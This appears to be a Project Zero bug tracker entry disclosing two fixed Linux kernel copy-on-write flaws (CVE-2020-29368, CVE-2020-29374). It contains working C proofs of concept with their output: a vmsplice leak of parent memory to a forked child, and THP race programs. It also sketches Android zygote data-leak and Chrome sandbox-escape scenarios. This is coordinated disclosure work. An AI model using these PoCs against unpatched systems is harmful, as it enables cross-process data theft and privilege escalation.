Starred by 2 users

Owner: jannh@google.com

CC: proje...@google.com

Status: Fixed *(Closed)*

Components: ----

Modified: Dec 1, 2020

Deadline-90
Vendor-Linux
CCProjectZeroMembers
Severity-High
Finder-jannh
Product-Linux
Methodology-source-review
Reported-2020-May-27
Fixed-2020-Jun-22
CVE-2020-29368
CVE-2020-29374

Participant's Hotlists: linux-usermm-or-drivermm

Issue 2045: Linux: CoW can wrongly grant write access (because of pinned references or THP bug)

Reported by jannh@google.com on Tue, May 26, 2020, 8:22 PM EDT Project Member

I've stumbled over two ways in which copy-on-write of anonymous memory after fork() is currently broken: Page references through the page refcount and a bug in THP logic.

== Page refcount isn't being accounted for ==
This one's fairly straightforward:

```
$ cat vmsplice.c
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <err.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <sys/wait.h>

#define SYSCHK(x) ({          \
  typeof(x) __res = (x);      \
  if (__res == (typeof(x))-1) \
    err(1, "SYSCHK(" #x ")"); \
  __res;                      \
})

static void *data;

static void child_fn(void) {
  int pipe_fds[2];
  SYSCHK(pipe(pipe_fds));
  struct iovec iov = {.iov_base = data, .iov_len = 0x1000 };
  SYSCHK(vmsplice(pipe_fds[1], &iov, 1, 0));
  SYSCHK(munmap(data, 0x1000));
  sleep(2);
  char buf[0x1000];
  SYSCHK(read(pipe_fds[0], buf, 0x1000));
  printf("read string from child: %s\n", buf);
}

int main(void) {
  if (posix_memalign(&data, 0x1000, 0x1000))
    errx(1, "posix_memalign()");
```

```
  strcpy(data, "BORING DATA");

  pid_t child = SYSCHK(fork());
  if (child == 0) {
    child_fn();
    return 0;
  }

  sleep(1);
  strcpy(data, "THIS IS SECRET");

  int status;
  SYSCHK(wait(&status));
}
$ gcc -o vmsplice vmsplice.c && ./vmsplice
read string from child: THIS IS SECRET
$
```

As you can see, the fork() child can read memory from the parent by grabbing a refcounted reference to a page with vmsplice(), then dropping the page from its pagetables. This is because the CoW fault handler grants the parent write access to the original page if its mapcount indicates that nobody else has it mapped.

This could potentially have security implications in environments like Android, where (almost) all apps are forked from a common zygote process. In the following scenario, this would lead to data leakage between apps:

- zygote writes to page X (ensuring that any preexisting CoW is broken)
- zygote forks off an attacker-controlled child process C1
- C1 grabs page X into a pipe with vmsplice()
- C1 drops its mapcount on page X
- zygote forks off a victim child process C2
- zygote writes to page X (resolving CoW fault by duplicating the page)
- C2 writes secret data to page X (resolving CoW fault by granting write access to the original page)
- C1 reads secret data from the pipe

However, so far I haven't managed to actually leak data from another app with this one.

== THP mapcount check is racy ==
This one is somewhat more severe. Basically, there is a race between __split_huge_pmd_locked() and page_trans_huge_map_swapcount() that can cause the THP CoW fault path to ignore up to two other mappings if one other process is concurrently shattering its THP mapping. I think this may have been introduced in commit 6d0a07edd17c ("mm: thp: calculate the mapcount correctly for THP pages during WP faults").

page_trans_huge_map_swapcount() first looks at 4K mapcounts, then looks at the DoubleMap flag and the compound_mapcount(page).
__split_huge_pmd_locked() can concurrently move references from the compound mapcount over to the 4K mapcounts.
There are no common locks between the two.
Therefore, essentially, page_trans_huge_map_swapcount() can observe the old state of the 4K mapcounts (which don't yet account for the other mapping) combined with the new state of the hugepage mapcount (which doesn't account for the other mapping anymore).

It is possible for not just one, but two mappings to be ignored because of the DoubleMap flag: If page_trans_huge_map_swapcount() observes the old state of the 4K mapcounts, but the new state of the DoubleMap flag, it will incorrectly subtract 1 from the result in addition to not observing the mapcount of the __split_huge_pmd_locked() caller.

Here is a PoC that demonstrates the issue with two mappings (testing in a KVM guest):

```
-----------------------------------------------------------
user@vm:~/tmp/transhuge$ cat thp_munmap.c
#include <sys/mman.h>
#include <err.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/eventfd.h>

int main(void) {
  volatile char *mapping = mmap((void*)0x200000, 0x200000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
  if (mapping == MAP_FAILED)
    err(1, "mmap");
  *mapping = 1;
  system("cat /proc/$PPID/smaps | head -n40; echo =======================");

  int efd = eventfd(0, 0);

  unsigned long long iteration = 0;
  while (1) {
    iteration++;
    *mapping = 1;
    pid_t child = fork();
    if (child == -1) err(1, "fork");
    if (child == 0) {
      if (munmap((void*)(mapping+0x1000), 0x1f0000)) err(1, "munmap");

      // wait for parent to tell us to measure and exit
      uint64_t dummy;
      if (eventfd_read(efd, &dummy)) err(1, "eventfd_read");

      if (*mapping != 1)
        errx(1, "broken cow: expected 1, got %hhd, in iteration %llu", *mapping, iteration);
      //system("cat /proc/$PPID/smaps | head -n40; echo =======================");
```

```
      exit(0);
    }

    *mapping = 2;

    // tell child to continue
    if (eventfd_write(efd, 1)) err(1, "eventfd_write");

    int status;
    if (waitpid(child, &status, 0) != child) err(1, "waitpid");
  }
}
user@vm:~/tmp/transhuge$ gcc -o thp_munmap thp_munmap.c
user@vm:~/tmp/transhuge$ ./thp_munmap
00200000-00400000 rw-p 00000000 00:00 0
Size:               2048 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Rss:                2048 kB
Pss:                2048 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:      2048 kB
Referenced:         2048 kB
Anonymous:          2048 kB
LazyFree:              0 kB
AnonHugePages:      2048 kB
[...]
======================
thp_munmap: broken cow: expected 1, got 2, in iteration 48580
thp_munmap: broken cow: expected 1, got 2, in iteration 239811
^C
user@vm:~/tmp/transhuge$
------------------------------------------------------------
```

By relying on khugepaged, it is even possible to trigger this issue without
explicit mm syscalls, just malloc(), fork() and free(), as long as the kernel is
configured to automatically collapse hugepages with khugepaged (which seems to
be the case e.g. on Debian):

```
------------------------------------------------------------
$ cat thp_malloc_large_nosleep.c
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <stdint.h>
#include <err.h>
#include <sys/eventfd.h>
#include <sys/poll.h>
#include <sys/wait.h>

int main(void) {
  int efd = eventfd(0, 0);

  char *a = malloc(0x1fe000);
  char *b = malloc(0x1fe000);

  printf("a = %p, b = %p\n", a, b);

  printf("waiting for keypress...\n");

  // we want khugepaged to create a hugepage that
  // covers parts of `a` and `b` here
  while (1) {
    struct pollfd pollfd = {.fd = 0, .events = POLLIN};
    if (poll(&pollfd, 1, 1000) == 1)
      break;
    memset(a, 'A', 0x1fe000);
    memset(b, 'B', 0x1fe000);
  }

  unsigned long long iteration = 0;
  while (1) {
    iteration++;
    a[0] = 1;
    pid_t child = fork();
    if (child == -1) err(1, "fork");
    if (child == 0) {
      // shatter hugepage
      free(b);

      // wait for parent to tell us to measure and exit
      uint64_t dummy;
      if (eventfd_read(efd, &dummy)) err(1, "eventfd_read");

      if (a[0] != 1)
        printf("broken cow: expected 1, got %hhd, in iteration %llu\n",
               a[0], iteration);
      exit(0);
    }

    // normally this should copy the hugepage (or fall back to
    // creating a 4K-page copy), but if we win the race it'll
    // write directly to the original page
    a[0] = 2;

    // tell child to continue
    if (eventfd_write(efd, 1)) err(1, "eventfd_write");

    int status;
    if (waitpid(child, &status, 0) != child) err(1, "waitpid");
```

```
  }
}
$ gcc -O2 -o thp_malloc_large_nosleep thp_malloc_large_nosleep.c
$ ./thp_malloc_large_nosleep
a = 0x7f49c2e28010, b = 0x7f49c2c29010
waiting for keypress...
[wait until khugepaged has collapsed the page according to smaps,
then press enter and wait]

broken cow: expected 1, got 2, in iteration 333209
broken cow: expected 1, got 2, in iteration 703886
broken cow: expected 1, got 2, in iteration 850974
broken cow: expected 1, got 2, in iteration 1014706
broken cow: expected 1, got 2, in iteration 1137223
broken cow: expected 1, got 2, in iteration 1143961
broken cow: expected 1, got 2, in iteration 1176183
broken cow: expected 1, got 2, in iteration 1970669
^C
$
------------------------------------------------------------
```

The three-process version of this is probably more interesting for local
privilege escalation attacks (since you can gain write access to the memory of a
process that is not participating in the race at all); however, it also has a
much narrower race window: One process needs to go through the critical section
of __split_huge_pmd_locked() while another one is stuck in this part of
page_trans_huge_map_swapcount():

```
        for (i = 0; i < HPAGE_PMD_NR; i++) {
                // race region begins with this atomic_read() in the
                // last iteration
                mapcount = atomic_read(&page[i]._mapcount) + 1;
                _total_mapcount += mapcount;
                if (map) {
                        swapcount = swap_count(map[offset + i]);
                        _total_swapcount += swapcount;
                }
                map_swapcount = max(map_swapcount, mapcount + swapcount);
        }
        unlock_cluster(ci);
        // race region ends with the PG_double_map test in here
        if (PageDoubleMap(page)) {
                map_swapcount -= 1;
                _total_mapcount -= HPAGE_PMD_NR;
        }
        mapcount = compound_mapcount(page);
```

An attacker can't preempt the task here because it's holding a spinlock; but
IRQs are on, so e.g. TLB flush IPIs from another thread can interrupt execution
for quite some time. (But I haven't really figured out yet how accurately you
could hit this race; according to some early experiments I've done, it looks
like if you know the exact configuration of the system, you may be able to cause
the TLB flush to happen in the race window with a probability around 0.3% or so,
and then you'd need to additionally have __split_huge_pmd_locked() happen at the
right time.)

If an attacker could write a sufficiently fast attack for this issue, they might
be able to use it to break out of e.g. the Chrome renderer sandbox on normal
Linux desktop systems - Chrome on Linux creates untrusted renderers as child
processes of a "zygote" process, which doesn't seem to be fully sandboxed, so an
attacker controlling two of its children could potentially use this bug to cause
memory corruption in the zygote.

**This bug is subject to a 90 day disclosure deadline. After 90 days elapse,
the bug report will become visible to the public. The scheduled disclosure**
date is 2020-08-25. Disclosure at an earlier date is possible if
the bug has been fixed in Linux stable releases (per agreement with
security@kernel.org folks).

Comment 1 by jannh@google.com on Thu, Jun 4, 2020, 7:05 AM EDT Project Member

Status: Fixed (was: New)

Fixes:

"gup: document and work around "COW can break either way" issue"
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=17839856fd588f4ab6b789f482ed3ffd7c403e1f

"mm: thp: make the THP mapcount atomic against __split_huge_pmd_locked()"
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c444eb564fb16645c172d550359cb3d75fe8a040

Comment 2 by jannh@google.com on Tue, Aug 25, 2020, 9:12 AM EDT Project Member

Labels: -Restrict-View-Commit

Comment 3 by jannh@google.com on Mon, Nov 16, 2020, 3:41 PM EST Project Member

Labels: Fixed-2020-Jun-22

The THP version was fixed in:
v5.7.5 (2020-06-22)
v5.4.48 (2020-06-22)
v4.19.129
v4.14.185
v4.9.228

The pinned reference part:
v5.7.3
v5.4.47

Comment 4 by jannh@google.com on Tue, Dec 1, 2020, 9:54 AM EST Project Member

Labels: CVE-2020-29368 CVE-2020-29374